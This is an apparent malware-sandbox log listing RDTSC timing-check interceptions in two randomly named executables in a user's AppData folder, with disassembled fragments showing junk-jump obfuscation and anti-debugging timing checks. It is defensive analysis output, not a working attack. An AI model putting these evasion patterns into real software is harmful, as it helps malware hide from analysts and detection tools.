Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A202FB second address: 4A203AD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F2738B89E18h 0x00000008 or cl, 00000048h 0x0000000b jmp 00007F2738B89E0Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 movzx ecx, dx 0x00000016 popad 0x00000017 mov edx, dword ptr [esi+44h] 0x0000001a jmp 00007F2738B89E0Bh 0x0000001f or edx, dword ptr [ebp+0Ch] 0x00000022 pushad 0x00000023 push esi 0x00000024 mov eax, edi 0x00000026 pop edx 0x00000027 pushfd 0x00000028 jmp 00007F2738B89E0Ch 0x0000002d sbb ch, FFFFFFD8h 0x00000030 jmp 00007F2738B89E0Bh 0x00000035 popfd 0x00000036 popad 0x00000037 test edx, 61000000h 0x0000003d jmp 00007F2738B89E16h 0x00000042 jne 00007F27AB518114h 0x00000048 jmp 00007F2738B89E10h 0x0000004d test byte ptr [esi+48h], 00000001h 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F2738B89E17h 0x00000058 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A203AD second address: 4A203B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A203B3 second address: 4A203D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F27AB5180E3h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A203D0 second address: 4A203D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A203D4 second address: 4A203EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A107FC second address: 4A10862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c pushfd 0x0000000d jmp 00007F2738E98EF3h 0x00000012 jmp 00007F2738E98EF3h 0x00000017 popfd 0x00000018 pop ecx 0x00000019 pushad 0x0000001a mov dl, EFh 0x0000001c push eax 0x0000001d pop ebx 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F2738E98EEDh 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F2738E98EEDh 0x0000002e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10862 second address: 4A10934 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F2738B89E0Ch 0x00000011 movzx ecx, di 0x00000014 pop edx 0x00000015 jmp 00007F2738B89E0Ch 0x0000001a popad 0x0000001b and esp, FFFFFFF8h 0x0000001e jmp 00007F2738B89E10h 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 call 00007F2738B89E0Eh 0x0000002a jmp 00007F2738B89E12h 0x0000002f pop ecx 0x00000030 pushfd 0x00000031 jmp 00007F2738B89E0Bh 0x00000036 jmp 00007F2738B89E13h 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e jmp 00007F2738B89E19h 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov si, di 0x0000004a pushfd 0x0000004b jmp 00007F2738B89E0Fh 0x00000050 jmp 00007F2738B89E13h 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10934 second address: 4A1098A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F2738E98EEEh 0x0000000f push eax 0x00000010 jmp 00007F2738E98EEBh 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 mov cl, 42h 0x00000019 push eax 0x0000001a push edx 0x0000001b call 00007F2738E98EF7h 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A1098A second address: 4A10996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov esi, dword ptr [ebp+08h] 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10996 second address: 4A109EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738E98EECh 0x00000009 popad 0x0000000a jmp 00007F2738E98EF2h 0x0000000f popad 0x00000010 sub ebx, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov cx, D819h 0x00000019 pushfd 0x0000001a jmp 00007F2738E98EF6h 0x0000001f sbb si, ADA8h 0x00000024 jmp 00007F2738E98EEBh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A109EC second address: 4A10AA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F2738B89E0Eh 0x00000010 je 00007F27AB51F77Bh 0x00000016 jmp 00007F2738B89E10h 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 jmp 00007F2738B89E10h 0x00000027 mov ecx, esi 0x00000029 pushad 0x0000002a mov edx, ecx 0x0000002c call 00007F2738B89E0Ah 0x00000031 push esi 0x00000032 pop ebx 0x00000033 pop eax 0x00000034 popad 0x00000035 je 00007F27AB51F750h 0x0000003b jmp 00007F2738B89E0Dh 0x00000040 test byte ptr [77436968h], 00000002h 0x00000047 jmp 00007F2738B89E0Eh 0x0000004c jne 00007F27AB51F73Bh 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F2738B89E17h 0x00000059 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10AA0 second address: 4A10B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 jmp 00007F2738E98EEBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edx, dword ptr [ebp+0Ch] 0x00000010 pushad 0x00000011 mov di, cx 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 call 00007F2738E98EF8h 0x0000001e mov dx, cx 0x00000021 pop eax 0x00000022 call 00007F2738E98EF7h 0x00000027 pushfd 0x00000028 jmp 00007F2738E98EF8h 0x0000002d and cl, FFFFFFA8h 0x00000030 jmp 00007F2738E98EEBh 0x00000035 popfd 0x00000036 pop eax 0x00000037 popad 0x00000038 push eax 0x00000039 jmp 00007F2738E98EF6h 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F2738E98EEDh 0x00000046 sbb cx, 3B76h 0x0000004b jmp 00007F2738E98EF1h 0x00000050 popfd 0x00000051 popad 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 mov edx, esi 0x00000056 mov dl, ch 0x00000058 popad 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F2738E98EF1h 0x00000061 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10B76 second address: 4A10BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, AA99h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2738B89E11h 0x00000014 sub eax, 4C5BB0E6h 0x0000001a jmp 00007F2738B89E11h 0x0000001f popfd 0x00000020 movzx eax, bx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10BF8 second address: 4A10C19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2738E98EEDh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10C19 second address: 4A10C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b mov ecx, 3F2D7D43h 0x00000010 call 00007F2738B89E18h 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov esp, ebp 0x00000019 jmp 00007F2738B89E0Dh 0x0000001e pop ebp 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20DDA second address: 4A20E00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ecx, 1F6336E9h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20E00 second address: 4A20E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20E04 second address: 4A20E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, B42Bh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bx, D8D2h 0x00000011 pushfd 0x00000012 jmp 00007F2738E98EF3h 0x00000017 jmp 00007F2738E98EF3h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov eax, ebx 0x00000024 jmp 00007F2738E98EF7h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20B46 second address: 4A20B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20B4A second address: 4A20B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20B4E second address: 4A20B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20B54 second address: 4A20BEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F2738E98EF4h 0x00000010 pushfd 0x00000011 jmp 00007F2738E98EF2h 0x00000016 add eax, 421F5A88h 0x0000001c jmp 00007F2738E98EEBh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F2738E98EF9h 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F2738E98EEEh 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F2738E98EF7h 0x00000038 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20BEB second address: 4A20C25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F2738B89E0Bh 0x0000000b or ecx, 5C25318Eh 0x00000011 jmp 00007F2738B89E19h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20C25 second address: 4A20C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20C2C second address: 4A20C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E11h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20C41 second address: 4A20C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4AA068E second address: 4AA0694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4AA0694 second address: 4AA0698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A909B4 second address: 4A90A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dl, ah 0x0000000d pushfd 0x0000000e jmp 00007F2738B89E19h 0x00000013 jmp 00007F2738B89E0Bh 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F2738B89E14h 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A07 second address: 4A90A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2738E98EF6h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A34 second address: 4A90A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A3C second address: 4A90A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A41 second address: 4A90A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A47 second address: 4A90A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A55 second address: 4A90A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90A59 second address: 4A90A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A907EB second address: 4A9083D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2738B89E0Fh 0x00000009 add si, 8A3Eh 0x0000000e jmp 00007F2738B89E19h 0x00000013 popfd 0x00000014 mov cx, 9187h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d mov dx, FF9Eh 0x00000021 mov ah, dh 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F2738B89E0Dh 0x0000002c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A9083D second address: 4A90843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90843 second address: 4A90847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90847 second address: 4A90875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F2738E98EEFh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2738E98EF0h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90875 second address: 4A9087B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A9087B second address: 4A9088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738E98EEDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30213 second address: 4A30219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 247239 second address: 24723E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90C4D second address: 4A90CAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007F2738B89E13h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov bx, ax 0x00000012 mov di, cx 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F2738B89E0Ah 0x0000001d push dword ptr [ebp+0Ch] 0x00000020 jmp 00007F2738B89E10h 0x00000025 push dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F2738B89E17h 0x0000002f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90CAC second address: 4A90CF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 8B600F41h 0x0000000e jmp 00007F2738E98EF7h 0x00000013 add dword ptr [esp], 74A0F0C1h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov al, dh 0x0000001f mov ax, 3B23h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 246372 second address: 246381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F2738B89E06h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 24651F second address: 246523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 246523 second address: 246547 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2738B89E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F2738B89E17h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 246AA2 second address: 246AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 246AA6 second address: 246AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249937 second address: 24993B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 24993B second address: 24997B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 mov ecx, dword ptr [ebp+122D29C8h] 0x0000000f call 00007F2738B89E09h 0x00000014 jno 00007F2738B89E14h 0x0000001a push eax 0x0000001b jc 00007F2738B89E0Ah 0x00000021 push eax 0x00000022 pushad 0x00000023 popad 0x00000024 pop eax 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 24997B second address: 249980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249980 second address: 249A3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F2738B89E06h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edx 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 jmp 00007F2738B89E17h 0x0000001e je 00007F2738B89E0Ch 0x00000024 jg 00007F2738B89E06h 0x0000002a popad 0x0000002b pop eax 0x0000002c jbe 00007F2738B89E0Bh 0x00000032 mov esi, 0F8E5FECh 0x00000037 sub edx, dword ptr [ebp+122D2800h] 0x0000003d push 00000003h 0x0000003f add cx, C498h 0x00000044 push 00000000h 0x00000046 call 00007F2738B89E0Ah 0x0000004b mov ecx, 55B2C87Ch 0x00000050 pop edi 0x00000051 push 00000003h 0x00000053 push 00000000h 0x00000055 push ebx 0x00000056 call 00007F2738B89E08h 0x0000005b pop ebx 0x0000005c mov dword ptr [esp+04h], ebx 0x00000060 add dword ptr [esp+04h], 00000015h 0x00000068 inc ebx 0x00000069 push ebx 0x0000006a ret 0x0000006b pop ebx 0x0000006c ret 0x0000006d jmp 00007F2738B89E14h 0x00000072 cld 0x00000073 push 4A5E3EBFh 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F2738B89E18h 0x0000007f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249A3B second address: 249A40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249A40 second address: 249A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E0Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 75A1C141h 0x00000013 mov esi, 3BED1B79h 0x00000018 lea ebx, dword ptr [ebp+1244E7D7h] 0x0000001e mov dword ptr [ebp+122D1831h], eax 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 pushad 0x00000029 popad 0x0000002a pop ebx 0x0000002b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249A74 second address: 249A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249A7A second address: 249A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249A7E second address: 249A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249AEB second address: 249B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F2738B89E0Fh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push edx 0x00000015 push esi 0x00000016 jmp 00007F2738B89E0Ch 0x0000001b pop esi 0x0000001c pop edx 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 pushad 0x00000021 jns 00007F2738B89E06h 0x00000027 jmp 00007F2738B89E0Ah 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249B32 second address: 249B47 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249B47 second address: 249B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
